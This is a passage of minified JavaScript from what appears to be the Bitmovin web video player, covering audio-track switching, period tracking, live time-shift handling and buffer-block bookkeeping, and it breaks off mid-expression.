this.hasStarted()?Promise.resolve():this.finishInit().then(function(){n.bufferController.hasStreamEnded()&&(n.seek(p.getStartTimeOffset(n.getSourceStore().getState())),n.getAllSegmentControllers().forEach(function(n){return n.resetTransmuxer()}));n.bufferController.isStarted()||n.bufferController.restart();n.getAllSegmentControllers().filter(function(n){return r.MimeTypeHelper.isAV(n.getMimeType())}).forEach(function(t){return n.renderer.storeDrmInitDataFromManifest(t.getCurrentAdaptationSet())});n.logger.debug("Starting main timer");n.eosSignaled=!1;n.heartbeatService.start();n.subscribeToManifestChanges();n.eventHandler.on(c.PlayerEvent.SegmentRequestFinished,n.onSegmentRequestFinished)})},n.prototype.maybeTransitionToPausedState=function(n){et.isSwitchingBufferBlocks(this.getSourceStore())?this.context.logger.debug("Ignoring transition to Paused because buffer block switch is ongoing"):this.playerStateService.transitionToPausedState(!0,n,!0)},n.prototype.clearBuffers=function(n){var t=this;return Promise.all(n.map(function(n){return t.bufferController.clearCacheForMimeType(n),t.bufferController.clearBuffer(n)})).then(function(){})},n.prototype.recoverFromImpreciseTimeShiftAfterAudioTrackSwitch=function(n){var t=this;this.manifestService.isLive()&&!this.settings.ENABLE_SEEK_FOR_LIVE&&this.renderer.setCurrentTime(n).catch(function(){return t.logger.debug("Could not set currentTime")})},n.prototype.restorePlaybackPositionAfterAudioTrackSwitch=function(n,t){var i=this;return this.bufferController.setEndOfStream(!1).then(function(){var r=i.clearBuffers(n.getSourceBufferTypes());return n.getCurrentPeriodId()!==i.periodSwitchTracker.getCurrentPlayingPeriodId()?i.prepareControllerForAudioTrackChange(n):n.getCurrentPeriodId()!==i.periodSwitchTracker.getCurrentLoadingPeriodId()&&i.periodSwitchTracker.setCurrentLoadingPeriodId(n.getCurrentPeriodId()),n.setAdaptionLogicStartupPhase(),n.seekTo(t),i.start().catch(function(){return i.logger.debug("Could not restart stopped MPC after audio track switch")}),r.then(function(){return i.recoverFromImpreciseTimeShiftAfterAudioTrackSwitch(t)}).catch(function(n){return i.logger.debug("Failed to set currentTime on audio track switch",n)})})},n.prototype.setAudio=function(n){var i=this.getAvailableAudio(this.periodSwitchTracker.getCurrentPlayingPeriodId()).find(function(t){return t.id===n}),t=this.getAudio();return this.initialized&&i?t&&t.id===n?Promise.reject(t):this.switchAudioTrack(i):Promise.reject(null)},n.prototype.updateAdaptationSet=function(n,t,i){var u=this;return r.MimeTypeHelper.isAudio(t)&&function(n){var t=s.ModuleManager.get(h.ModuleName.HLS,!1),i=null==t?void 0:t.M3u8Loader;return void 0!==i&&n instanceof i}(this.manifestLoader)?this.manifestLoader.updateAdaptationSet(i).then(function(){return u.getAllSegmentControllers().forEach(function(n){return n.updateMpd()})}).then(function(){return n}):Promise.resolve(n)},n.prototype.switchAudioTrack=function(n){var t=this;this.isSwitchingAudioTrack=!0;var e=Object.keys(this.segmentControllerMap),i=e.find(r.MimeTypeHelper.isAudio)||e.find(r.MimeTypeHelper.isVideo),u=this.segmentControllerMap[i].getCurrentAdaptationSet(),f=this.manifestService.getAdaptationSet(n.adaptationSetId);return u&&f&&i?this.maybeChangeAudioBufferType(u,f,i).then(function(i){return t.maybeHandleMuxedAudioTransition(u,f,n,i)}).then(function(r){return t.updateAdaptationSet(r,i,n.id)}).then(function(i){return t.updateRelevantSegmentControllers(i,n)}).finally(function(){return t.isSwitchingAudioTrack=!1}):Promise.reject("Did not find matching adaptation set")},n.prototype.maybeChangeAudioBufferType=function(n,t,i){var e,u=this,s=tt(t,n),h=r.MimeTypeHelper.isVideo(t._mimeType)||r.MimeTypeHelper.isVideo(n._mimeType),o=!nt.hasContentProtection(n.ContentProtection,t.ContentProtection),f;return h||!s&&!o?Promise.resolve(((e={})[t._mimeType]="",e)):(f=Object.keys(this.segmentControllerMap).find(r.MimeTypeHelper.isVideo),this.recreateCurrentSegmentController(i,t).then(function(){return o&&f?u.clearBuffersAndSeek(f):Promise.resolve()}).then(function(){return u.bufferController.changeBufferType(t._mimeType,u.mimeTypes[t._mimeType])}))},n.prototype.maybeHandleMuxedAudioTransition=function(n,t,i,u){var f=this;return r.MimeTypeHelper.isVideo(t._mimeType)||r.MimeTypeHelper.isVideo(n._mimeType)?this.clearBuffers([n._mimeType,t._mimeType]).then(function(){var u=r.MimeTypeHelper.isVideo(t._mimeType);return f.transmuxer.setShouldDiscardAudio(!u),u?(f.disposeSegmentController(n),Promise.resolve()):(f.createSegmentControllerIfMediaTypeIsMissing(t),f.updateSegmentController(i,n._mimeType))}).then(function(){return u}):Promise.resolve(u)},n.prototype.clearBuffersAndSeek=function(n){var t=this;return this.clearBuffers([n]).then(function(){var i;t.segmentControllerMap[n].seekTo(t.renderer.getCurrentTime());null===(i=t.timeshiftHandler)||void 0===i||i.updateSegmentControllers(t.segmentControllerMap)})},n.prototype.disposeSegmentController=function(n){var i,t,r;n&&(t=n._mimeType,r=this.segmentControllerMap[t],r.cancelLoading(),r.dispose(),delete this.segmentControllerMap[t],delete this.mimeTypes[t],null===(i=this.timeshiftHandler)||void 0===i||i.updateSegmentControllers(this.segmentControllerMap),this.getSourceStore().dispatch(k.removeActiveTrackAction(n._internalId)),this.context.segmentInfoService&&this.context.segmentInfoService.setSegmentControllers(Object.values(this.segmentControllerMap)))},n.prototype.recreateCurrentSegmentController=function(n,t){var i=this,r=this.segmentControllerMap[n];return this.disposeSegmentController(r.getCurrentAdaptationSet()),this.clearBuffers([n]).then(function(){return i.setupControllerForAdaptationSet(t),t._mimeType})},n.prototype.updateRelevantSegmentControllers=function(n,t){var i=this;return Promise.all(Object.keys(n).map(function(n){return i.updateSegmentController(t,n)})).then(function(){})},n.prototype.updateSegmentController=function(n,t){if(this.subtitleService&&this.subtitleService.enableForcedSubtitle(n.lang),this.segmentControllerMap[t].setCurrentLangObj(n),this.segmentControllerMap[t].cancelLoading(),this.hasStarted()||this.eosSignaled){var i=this.getBufferRelevantTime();return this.restorePlaybackPositionAfterAudioTrackSwitch(this.segmentControllerMap[t],i)}return Promise.resolve()},n.prototype.getAudio=function(){var n,u,t,i,f;return this.initialized?(n=void 0,u=Object.keys(this.segmentControllerMap).find(function(n){return r.MimeTypeHelper.isAudio(n)}),(u&&(n=this.segmentControllerMap[u].getCurrentLangObj()),n)||(t=Object.keys(this.segmentControllerMap).find(function(n){return r.MimeTypeHelper.isVideo(n)}),t&&this.segmentControllerMap[t].getSourceBufferTypes()&&(i=this.segmentControllerMap[t],i.getSourceBufferTypes().some(function(n){return r.MimeTypeHelper.isAudio(n)})&&(f=i.getCurrentAdaptationSet()._internalId,n=this.getAvailableAudio(this.periodSwitchTracker.getCurrentPlayingPeriodId()).find(function(n){return n.adaptationSetId===f})||i.getCurrentLangObj()))),n||null):null},n.prototype.prepareControllerForAudioTrackChange=function(n){if(this.isAVMultiplexed(n))this.switchLoadingPeriodForAllMedia(this.periodSwitchTracker.getCurrentPlayingPeriodId());else{if(this.logger.debug("audio needs to load previous period(s) and catch up to the overall loading period"),n.isTransmuxerRequired()){var t=s.ModuleManager.get(h.ModuleName.ContainerTS);n.setTransmuxer(new t.WebWorkerTransmuxer(this.context,this.hasSeparateAudioPlaylist()))}this.isAudioCatchingUp=!0;this.switchLoadingPeriodForAudio(this.periodSwitchTracker.getCurrentPlayingPeriodId())}},n.prototype.getPlaybackRepresentation=function(n){for(var t in this.segmentControllerMap)if(this.segmentControllerMap[t]&&t.includes(n))return this.context.serviceManager.get(u.ServiceName.TimedMetadataService).getPlaybackRepresentation(t);return null},n.prototype.getTimeShift=function(){return this.getTimeShiftHandler().getTimeShift()},n.prototype.getTimeShiftLiveEdge=function(){return this.manifestService.isLive()?this.getTimeShiftHandler().getTimeShiftLiveEdge():0},n.prototype.getTimeShiftHandler=function(){return this.timeshiftHandler||(this.timeshiftHandler=new pt.TimeShiftHandler(this.context,this,this.bufferController,this.segmentControllerMap)),this.timeshiftHandler},n.prototype.timeShift=function(n,t,i){return void 0===i&&(i=!1),this.getTimeShiftHandler().timeShift(n,t,i)},n.prototype.getAvailableAudio=function(n){return this.manifestService.getAvailableAudio(n)},n.prototype.hasStreamEnded=function(){return!!this.bufferController&&this.bufferController.hasStreamEnded()},n.prototype.getCurrentTime=function(){return this.renderer.getCurrentTime()},n.prototype.getSeekableRange=function(){var n,i,t;return this.manifestService.isLive()?this.playerStateService.seekingOrTimeshifting&&this.cachedSeekableRange?this.cachedSeekableRange:(n=this.getTimeShiftLiveEdge(),i=n+this.getMaxTimeShift(),this.cachedSeekableRange={start:i,end:n}):(t=this.getAllSegmentControllers().find(function(n){return r.MimeTypeHelper.isAV(n.getMimeType())}),t?t.getMPDHandler().getSeekableRange():{start:-1,end:-1})},n.prototype.getAvailableSegments=function(){var t=this,n={};return Object.keys(this.segmentControllerMap).forEach(function(i){n[i]=t.segmentControllerMap[i].getSegmentInfos()}),n},n.prototype.isInitialized=function(){return this.initialized},n.prototype.hasStarted=function(){var n,t;return null!==(t=null===(n=this.heartbeatService)||void 0===n?void 0:n.started)&&void 0!==t&&t},n}();t.MediaPlayerController=wt;t.isBufferChangeRequired=tt},22916:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.resolveMediaTypes=void 0;var r=i(42283),u=i(94938);t.resolveMediaTypes=function(n){return u.getCodecsFromAdaptationSet(n).split(",").map(function(n){return r.getMediaTypeFromCodec(n)})}},44910:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.MseModuleDefinition=void 0;var r=i(96873),s=i(33669),h=i(16368),c=i(73543),l=i(67883),a=i(48928),f=i(94938),v=i(38925),y=i(85586),p=i(10997),w=i(26382),b=i(58423),k=i(13788),d=i(67550),g=i(92395),nt=i(72207),u=i(4053),tt=i(82311),it=i(58211),rt=i(93326),e=i(59839),o=i(22645),ut=i(23414),ft={removeStreamTimeRange:e.removeStreamTimeRange,removeLoadedRange:r.removeLoadedRange,addLoadedRange:r.addLoadedRange,resetLoadedRanges:r.resetLoadedRanges,resetStreamTimeline:e.resetStreamTimeline,removeActiveTrackAction:u.removeActiveTrackAction,setRepresentationIdAction:u.setRepresentationIdAction,setMediaTypeAction:u.setMediaTypeAction},et={getPlayingPeriodId:it.getPlayingPeriodId,getContainerFormat:tt.getContainerFormat,getLoadedRangesForMimeType:s.getLoadedRangesForMimeType,getSegmentInfos:rt.getSegmentInfos},ot={containerFormat:c.ContainerFormat,streamTimeRangeType:o.StreamTimeRangeType};t.MseModuleDefinition={name:h.ModuleName.EngineBitmovin,module:{MediaPlayer:y.MediaPlayer,SegmentController:b.SegmentController,technologyChecker:new ut.TechnologyChecker,Stream:nt.Stream,FetchController:w.FetchController,SegmentInfoService:k.SegmentInfoService,SegmentPrefetchingService:g.SegmentPrefetchingService,AdRestorationOptimizationService:p.AdRestorationOptimizationService,ManifestCachingService:a.ManifestCachingService,SegmentListMPDHandler:d.SegmentListMPDHandler,actions:ft,selectors:et,mseModuleTypes:ot,AdaptationSetId:l.AdaptationSetId,RepresentationId:v.RepresentationId,getTrackIdentifier:o.getTrackIdentifier,getCodecsFromAdaptationSet:f.getCodecsFromAdaptationSet,getMimeTypeForAdaptationSet:f.getMimeTypeForAdaptationSet}};t.default=t.MseModuleDefinition},34268:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.PeriodSwitchTracker=void 0;var r=i(18665),f=i(62510),e=i(3464),o=i(331),s=i(72788),u=i(58211),h=function(){function n(n){var t=this;this.finishPeriodSwitch=function(n,i){var r=i.switchingToPeriodId,e=t.getCurrentPlayingPeriodId(),u;t.setCurrentPlayingPeriodId(r);u=t.getCurrentPlayingPeriod();u&&u.AdaptationSet.forEach(function(n){return t.context.renderer.storeDrmInitDataFromManifest(n)});t.logger.debug("Successfully switched from Period ".concat(e," to Period ").concat(r));t.context.eventHandler.dispatchEvent(f.PlayerEvent.PeriodSwitched,{sourcePeriod:{periodId:e},targetPeriod:{periodId:r}})};this.context=n;this.logger=n.logger;this.eventHandler=n.eventHandler;this.subscribeToPlayingTracksChanges()}return n.prototype.getManifestService=function(){return this.context.serviceManager.get(r.ServiceName.ManifestService,this.context.sourceContext.sourceIdentifier)},n.prototype.getCurrentPlayingPeriod=function(){return this.getManifestService().findPeriod(this.getCurrentPlayingPeriodId())},n.prototype.subscribeToPlayingTracksChanges=function(){var n=this.getSourceStore();!this.unsubscribeFromPlayingTracksStore&&n&&(this.unsubscribeFromPlayingTracksStore=e.subscribe(n)(u.getPlayingTracksState,this.finishPeriodSwitch,u.wasSwitchingToPeriodIdReset))},n.prototype.unsubscribeFromPlayingTracksChanges=function(){this.unsubscribeFromPlayingTracksStore&&(this.unsubscribeFromPlayingTracksStore(),this.unsubscribeFromPlayingTracksStore=void 0)},n.prototype.getSourceStore=function(){return this.context.serviceManager.get(r.ServiceName.SourceStoreService,this.context.sourceContext.sourceIdentifier)},n.prototype.getCurrentLoadingPeriodId=function(){return this.currentLoadingPeriodId},n.prototype.setCurrentLoadingPeriodId=function(n){this.currentLoadingPeriodId=n},n.prototype.getCurrentPlayingPeriodId=function(){return u.getPlayingPeriodId(this.getSourceStore().getState())},n.prototype.setCurrentPlayingPeriodId=function(n){this.getSourceStore().dispatch(s.setPlayingPeriodId(n))},n.prototype.resetPeriodIds=function(){this.setCurrentPlayingPeriodId(null);this.setCurrentLoadingPeriodId(void 0)},n.prototype.shouldHandleDroppedOutPeriod=function(){return!(null==this.getCurrentPlayingPeriodId()&&null==this.currentLoadingPeriodId)},n.prototype.isPeriodDroppedOut=function(n){return!this.getManifestService().getAllPeriods().map(function(n){return n._id}).includes(n)},n.prototype.isPlayingPeriodDroppedOut=function(){return this.isPeriodDroppedOut(this.getCurrentPlayingPeriodId())},n.prototype.isLoadingPeriodDroppedOut=function(){return this.isPeriodDroppedOut(this.currentLoadingPeriodId)},n.prototype.isLoadingLastPeriod=function(){return this.getManifestService().isLastPeriod(this.currentLoadingPeriodId)},n.prototype.setInitialPeriod=function(){var n=this.getManifestService().isLive()?this.getInitialPeriodForLive():this.getInitialPeriodForVod();this.currentLoadingPeriodId=n;this.setCurrentPlayingPeriodId(this.currentLoadingPeriodId);this.logger.debug("setting initial period to ".concat(this.currentLoadingPeriodId))},n.prototype.getInitialPeriodForLive=function(){var n=o.toSeconds(Date.now())-this.getManifestService().getDesiredDistanceToLiveEdge();return this.getManifestService().getPeriodIdForTime(n)},n.prototype.getInitialPeriodForVod=function(){var n=this.context.serviceManager.get(r.ServiceName.StartOffsetService).getStartOffset(this.context.sourceContext.source);return this.getManifestService().getPeriodIdForTime(n)},n.prototype.dispose=function(){this.unsubscribeFromPlayingTracksChanges()},n}();t.PeriodSwitchTracker=h},96707:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.createSegmentParser=void 0;var r=i(91520),u=i(16368),f=i(73543);t.createSegmentParser=function(n,t){if(t===f.ContainerFormat.MP4&&r.ModuleManager.has(u.ModuleName.ContainerMP4)){var i=r.ModuleManager.get(u.ModuleName.ContainerMP4);return new i.MP4Parser(n,new i.MP4EncryptionParser(n))}if(t===f.ContainerFormat.WEBM&&r.ModuleManager.has(u.ModuleName.ContainerWebM))return new(r.ModuleManager.get(u.ModuleName.ContainerWebM).WebMParser)}},59879:function(n,t,i){function o(n){return[u.StreamTimeRangeType.Loading,u.StreamTimeRangeType.Failed].includes(n.type)}Object.defineProperty(t,"__esModule",{value:!0});t.StreamTimeService=void 0;var r=i(18665),f=i(81361),u=i(22645),e=function(){function n(n,t){this.serviceManager=n;this.sourceIdentifier=t}return Object.defineProperty(n.prototype,"sourceState",{get:function(){return this.serviceManager.get(r.ServiceName.SourceStoreService,this.sourceIdentifier).getState()},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"streamTimelineState",{get:function(){var n;if(null!==(n=this.sourceState)&&void 0!==n)return n.streamTimeline},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"bufferStateMap",{get:function(){var n;if(null!==(n=this.sourceState)&&void 0!==n)return n.buffer.bufferStateMap},enumerable:!1,configurable:!0}),Object.defineProperty(n.prototype,"playerStateService",{get:function(){return this.serviceManager.get(r.ServiceName.PlayerStateService)},enumerable:!1,configurable:!0}),n.prototype.getTimeForNextSegment=function(n){var i,r,u,e,h=f.findFromEnd(this.streamTimelineState[n]||[],o),t=null===(i=this.bufferStateMap)||void 0===i?void 0:i[n],c=[h,(null===(r=null==t?void 0:t.loadedRanges)||void 0===r?void 0:r[t.loadedRanges.length-1])||(null===(u=null==t?void 0:t.rendererRanges)||void 0===u?void 0:u[t.rendererRanges.length-1])].filter(function(n){return n}).map(function(n){return n.end}),s=Math.max.apply(Math,c);return isFinite(s)?s:(null===(e=this.playerStateService)||void 0===e?void 0:e.seekingOrTimeshifting)?this.playerStateService.targetPlaybackTime:0},n.prototype.dispose=function(){},n}();t.StreamTimeService=e},23414:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.TechnologyChecker=void 0;var r=i(91520),u=i(16368),f=function(){function n(){}return n.prototype.getSupportedTechnologies=function(){return r.ModuleManager.has(u.ModuleName.RendererMse)?r.ModuleManager.get(u.ModuleName.RendererMse).technologyChecker.getSupportedTechnologies():[]},n}();t.TechnologyChecker=f},21918:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.TimeShiftHandler=void 0;var u=i(18665),r=i(62510),f=i(331),e=i(70016),o=i(91520),s=i(16368),h=i(67550),c=i(59839),l=i(22645),a=function(){function n(n,t,i,r){var f=this;this.onSeek=function(){f.updateInitialTimeShiftContext(!0)};this.onSeeked=function(){var n=f.context.renderer.getCurrentTime(!0),t=n-f.getTimeShiftLiveEdge();f.updateTimeShiftStateAfterSeek(t,n)};this.context=n;this.mediaPlayerController=t;this.bufferController=i;this.segmentControllers=Object.keys(r).map(function(n){return r[n]});this.manifestService=n.serviceManager.get(u.ServiceName.ManifestService,n.sourceContext.sourceIdentifier);this.logger=n.logger;this.eventHandler=n.eventHandler;this.timeShiftCounter=0;this.sourceIdentifier=n.sourceContext.sourceIdentifier;this.setupEventHandlers()}return n.prototype.calculateLiveEdgeInVideoTime=function(){var n,t;return this.initialTimeShiftContext&&!this.initialTimeShiftContext.isOngoing?(t=f.toSeconds(Date.now()-this.initialTimeShiftContext.timestamp),n=this.initialTimeShiftContext.liveEdge+t):n=this.calculateMpdHandlerLiveEdge(),isFinite(n)||(n=f.toSeconds(Date.now()-this.manifestService.getAvailabilityStartTime())),n},n.prototype.calculateMpdHandlerLiveEdge=function(){return this.segmentControllers.map(function(n){return n.getLiveEdgeTime()}).reduce(function(n,t){return t<n&&t>=0?t:n},1/0)},n.prototype.updateSegmentControllers=function(n){this.segmentControllers=Object.values(n)},n.prototype.getMaxTimeShift=function(){if(this.manifestService.getManifest()){var n=this.manifestService.getTimeShiftBufferDepthSeconds();return Math.min(n+this.manifestService.getDesiredDistanceToLiveEdge(),0)}return 0},n.prototype.getTimeShiftLiveEdge=function(){return this.calculateLiveEdgeInVideoTime()-this.manifestService.getDesiredDistanceToLiveEdge()},n.prototype.getTimeShift=function(){var n=this.getActualTimeShift(),i,t;return this.lastTimeShiftStatus&&(i=f.toSeconds(Date.now()-this.lastTimeShiftStatus.completionDate)-(this.mediaPlayerController.getCurrentTime()-this.lastTimeShiftStatus.reachedTime),Math.abs(i)<this.context.settings.ACCEPTABLE_TIMESHIFT_INACCURACY)?this.lastTimeShiftStatus.offset:(t=this.getMaxTimeShift(),n<t&&(n=t),n>0&&(n=0),n)},n.prototype.getActualTimeShift=function(n){return void 0===n&&(n=!1),!this.initialTimeShiftContext||this.initialTimeShiftContext.isOngoing?0:(n?this.mediaPlayerController.getBufferRelevantTime():this.mediaPlayerController.getCurrentTime())-this.getTimeShiftLiveEdge()},n.prototype.adjustTargetTime=function(n){var t=this.manifestService.getPeriodIdForTime(n),r=!this.manifestService.isLastPeriod(t),u=this.manifestService.isTimeNearPeriodEnd(n,this.context.settings.END_OF_BUFFER_TOLERANCE),i;return r&&u&&(i=this.manifestService.getNextPeriod(t),this.logger.debug("Timeshift target too close to end of period ".concat(t,", adjusting target from ").concat(n)+" to ".concat(i.start,", i.e. next period's start.")),n=i.start),n},n.prototype.timeShift=function(n,t,i){var r=this,f,h,s;void 0===i&&(i=!1);f=Boolean(this.initialTimeShiftContext);f||this.adjustTargetBufferLevel(this.calculateAvailableBufferLength());n=Math.max(this.getMaxTimeShift(),n);var c=this.mediaPlayerController.getCurrentTime(),u=this.calculatePlaybackTimeForTimeShiftOffset(n),o=this.manifestService.getPeriodIdForTime(u);return this.timeShiftCounter++,h=this.timeShiftCounter,s=i||this.bufferController.shouldBuffersBeCleared(u,!0),this.logger.debug("Performing timeShift to offset ".concat(n,", time: ").concat(c," -> ").concat(u,", period: ").concat(o)),this.bufferController.setTimeshiftCancelState(!1),e.isDefined(o)&&this.mediaPlayerController.updatePeriodForTimeshift(o,!f,s),f&&this.maybeResetTransmuxerForPtsRollover(u),s&&this.segmentControllers.forEach(function(n){return n.seekTo(u)}),this.updateInitialTimeShiftContext(!0),this.bufferController.setCurrentTime(u,o,!0,i).then(function(i){r.updateInitialTimeShiftContext(!1);r.lastTimeShiftStatus={offset:n,completionDate:Date.now(),reachedTime:i};r.timeShiftCounter===h&&t?(r.logger.debug("Successfully timeShifted to ".concat(i,", hit target time with a diff of ").concat(i-u)),t()):t&&r.context.logger.debug("Timeshift to ".concat(n," has finished but a newer operation has been started"))}).catch(function(n){r.logger.debug("Failed to set currentTime on timeShift",n)}).finally(function(){return r.bufferController.setTimeshiftCancelState(!1)})},n.prototype.maybeResetTransmuxerForPtsRollover=function(n){var t,i;this.manifestService.isHlsManifest()&&(i=this.context.serviceManager.get(u.ServiceName.SourceStoreService,this.sourceIdentifier),function(n,t){var i,r,u=null!==(r=null===(i=null==n?void 0:n.timestampRolloverPositions)||void 0===i?void 0:i.next)&&void 0!==r?r:-1;return-1!==u&&(t>=u||t<=n.timestampRolloverPositions.previous)}(null===(t=o.ModuleManager.get(s.ModuleName.HLS))||void 0===t?void 0:t.selectors.getHlsState(null==i?void 0:i.getState()),n)&&(this.context.logger.debug("Resetting transmuxer because target is beyond a timestamp rollover"),this.mediaPlayerController.resetTransmuxer()))},n.prototype.cancel=function(){this.context.logger.debug("Cancelling ongoing time shift operation...");this.bufferController.setTimeshiftCancelState(!0)},n.prototype.calculatePlaybackTimeForTimeShiftOffset=function(n){var i=this.manifestService.getDesiredDistanceToLiveEdge(),t=this.calculateLiveEdgeInVideoTime()+(n-i);return this.manifestService.hasMultiplePeriods()&&(t=this.adjustTargetTime(t)),t},n.prototype.onManifestUpdate=function(){if(this.manifestService.isLive()){var t=this.getActualTimeShift(!0),n=this.calculateAvailableBufferLength(),i=this.getMaxTimeShift()-n.minSegmentDuration;this.adjustTargetBufferLevel(n);t<i&&this.context.eventHandler.dispatchEvent(r.PlayerEvent.DVRWindowExceeded);this.removeDroppedOutFailedBufferRanges()}},n.prototype.removeDroppedOutFailedBufferRanges=function(){var n=this;this.context.serviceManager.maybeCall(u.ServiceName.SourceStoreService,function(t){var i,u=n.manifestService.getTimeShiftBufferDepthSeconds(),f=n.calculateLiveEdgeInVideoTime()+u,r=null===(i=t.getState())||void 0===i?void 0:i.streamTimeline;void 0!==r&&Object.keys(r).forEach(function(n){t.dispatch(c.removeStreamTimeRange(n,{start:0,end:f},l.StreamTimeRangeType.Failed))})})},n.prototype.isTimeInBufferedRange=function(n){return this.bufferController.isTimeInBufferedRange(n)},n.prototype.getMinSegmentDuration=function(){return this.segmentControllers.reduce(function(n,t){return Math.min(n,t.getMPDHandler().getSegmentDuration())},1/0)},n.prototype.calculateAvailableBufferLength=function(){var t=this,n=this.segmentControllers.map(function(n){return n.getMPDHandler()}),i=this.getMinSegmentDuration(),r=Math.max.apply(Math,n.map(function(n){return n instanceof h.SegmentListMPDHandler?n.getSegmentDuration()*t.context.settings.LIVE_SEGMENT_LIST_START_INDEX_OFFSET:0}));return{minSegmentDuration:i,bufferDepth:Math.min.apply(Math,n.map(function(n){return Math.abs(n.getActualTimeShiftBufferDepth())}))-r}},n.prototype.adjustTargetBufferLevel=function(n){this.context.bufferSettings.setStreamBoundary({minimumBufferLength:n.minSegmentDuration,streamDuration:n.bufferDepth})},n.prototype.updateTimeShiftStateAfterSeek=function(n,t){this.lastTimeShiftStatus={completionDate:Date.now(),reachedTime:t,offset:n};this.updateInitialTimeShiftContext(!1)},n.prototype.updateInitialTimeShiftContext=function(n){this.initialTimeShiftContext&&(n||!this.initialTimeShiftContext.isOngoing)||(this.initialTimeShiftContext={timestamp:Date.now(),liveEdge:this.calculateLiveEdgeInVideoTime(),isOngoing:n})},n.prototype.setupEventHandlers=function(){this.eventHandler.on(r.PlayerEvent.Seek,this.onSeek,!0);this.eventHandler.on(r.PlayerEvent.Seeked,this.onSeeked,!0)},n.prototype.removeEventHandlers=function(){this.eventHandler.off(r.PlayerEvent.Seek,this.onSeek);this.eventHandler.off(r.PlayerEvent.Seeked,this.onSeeked)},n.prototype.dispose=function(){this.removeEventHandlers();this.bufferController.setTimeshiftCancelState(!0)},n}();t.TimeShiftHandler=a},55937:function(n,t,i){function f(n,t,i){n.hasOwnProperty(t)&&i(n[t])}var e,u,r,o;Object.defineProperty(t,"__esModule",{value:!0});t.BufferBlock=t.EncryptionState=void 0;u=i(79814);r=i(37702);!function(n){n.Encrypted="encrypted";n.Clear="clear"}(e||(t.EncryptionState=e={}));o=function(){function n(n){this.id=n;this.cachedSegments=[];this.blockStateMap=new Map}return n.prototype.addSegment=function(n){var t=n.getMimeType(),i;n.isInit()&&this.removeLastInitSegment(t);void 0===this.periodId&&(this.periodId=n.getPeriodId());i=n.isInit()?0:n.getDuration();this.cachedSegments.push({segment:n});n.isInit()||(this.setMaxSegmentDuration(t,Math.max(i,this.getMaxSegmentDuration(t))),this.updatePlaybackTimeRange(n,t));n.setBufferBlockId(this.id);this.updateMediaTypes(n)},n.prototype.setSegregationCriteria=function(n,t){this.blockStateMap.has(t)||this.initializeBlockStateMapForMimeType(t);this.getBlockState(t).segregationCriteria=n},n.prototype.initializeBlockStateMapForMimeType=function(n){var t={};return this.blockStateMap.set(n,t),t},n.prototype.updateMediaTypeForMimeType=function(n){var t=this.getBlockState(n.mimeType)||this.initializeBlockStateMapForMimeType(n.mimeType);t.mediaType?(f(n,"codec",function(n){t.mediaType.codec=n}),f(n,"timestampOffset",function(n){t.mediaType.timestampOffset=n}),f(n,"timescale",function(n){t.mediaType.timescale=n})):t.mediaType=n},n.prototype.getSegregationCriteria=function(n){var t;if(null!==(t=this.getBlockState(n))&&void 0!==t)return t.segregationCriteria},n.prototype.updateMediaTypes=function(n){var t=n.getMimeType(),i=this.getMediaType(t);i?(null===i.codec&&(i.codec=n.getCodec()),null==i.timescale&&(i.timescale=n.getTimescale())):(this.blockStateMap.has(t)||this.blockStateMap.set(t,{}),this.getBlockState(t).mediaType={mimeType:t,codec:n.getCodec(),timestampOffset:0,timescale:n.getTimescale()})},n.prototype.getMediaType=function(n){var t,i;return null!==(i=null===(t=this.getBlockState(n))||void 0===t?void 0:t.mediaType)&&void 0!==i?i:null},n.prototype.addMediaType=function(n){u.MimeTypeHelper.isAV(n.mimeType)&&!this.getMediaType(n.mimeType)&&(this.blockStateMap.has(n.mimeType)||this.initializeBlockStateMapForMimeType(n.mimeType),this.getBlockState(n.mimeType).mediaType=n)},n.prototype.removeMediaType=function(n){this.clearSegments(n);this.blockStateMap.delete(n)},n.prototype.hasMediaType=function(n){var t,i;return null!==(i=null===(t=this.blockStateMap)||void 0===t?void 0:t.has(n))&&void 0!==i&&i},n.prototype.getMediaTypes=function(){return r.getValues(this.blockStateMap).map(function(n){return n.mediaType})},n.prototype.getMediaTypesWithoutSubs=function(){return this.getMediaTypes().filter(function(n){return u.MimeTypeHelper.isAV(n.mimeType)})},n.prototype.removeSegment=function(n){var t=this.cachedSegments.findIndex(function(t){return t.segment===n});t>-1&&this.cachedSegments.splice(t,1)},n.prototype.clearSegments=function(n){this.cachedSegments=this.cachedSegments.filter(function(t){return t.segment.getMimeType()!==n});var t=this.getBlockState(n);t&&(t.playbackTimeRange=void 0)},n.prototype.getPrecedingSegments=function(n,t){var i=[];return this.cachedSegments.forEach(function(r){var u=r.segment,f=u.isInit(),e=u.getMimeType()!==n;!f&&!e&&u.getPlaybackTime()+u.getDuration()<t&&i.push(u)}),i},n.prototype.updatePlaybackTimeRange=function(n,t){var i=this.getPlaybackTimeRange(t),r=n.getPlaybackTime(),u=r+n.getDuration();i?(r<i.start&&(i.start=r),u>i.end&&(i.end=u)):this.getBlockState(t).playbackTimeRange={start:r,end:u}},n.prototype.getPlaybackTimeRange=function(n){var t,i;return null!==(i=null===(t=this.getBlockState(n))||void 0===t?void 0:t.playbackTimeRange)&&void 0!==i?i:null},n.prototype.getId=function(){return this.id},n.prototype.getPeriodId=function(){return this.periodId},n.prototype.getMinCommonStartTime=function(){return r.getValues(this.blockStateMap).filter(function(n){return n.playbackTimeRange}).map(function(n){return n.playbackTimeRange}).reduce(function(n,t){return Math.max(t.start,n)},-1/0)},n.prototype.getCommonPlaybackTimeRanges=function(){return r.getValues(this.blockStateMap).filter(function(n){return n.playbackTimeRange}).map(function(n){return n.playbackTimeRange}).reduce(function(n,t){return{start:Math.max(t.start,n.start),end:Math.min(t.end,n.end)}},{start:-1/0,end:1/0})},n.prototype.setMaxSegmentDuration=function(n,t){this.blockStateMap.has(n)||this.initializeBlockStateMapForMimeType(n);this.getBlockState(n).maxSegmentDuration=t},n.prototype.getMaxSegmentDuration=function(n){var t;return(null===(t=this.getBlockState(n))||void 0===t?void 0:t.maxSegmentDuration)||0},n.prototype.hasMaxSegmentDuration=function(n){var t;return null!=(null===(t=this.getBlockState(n))||void 0===t?void 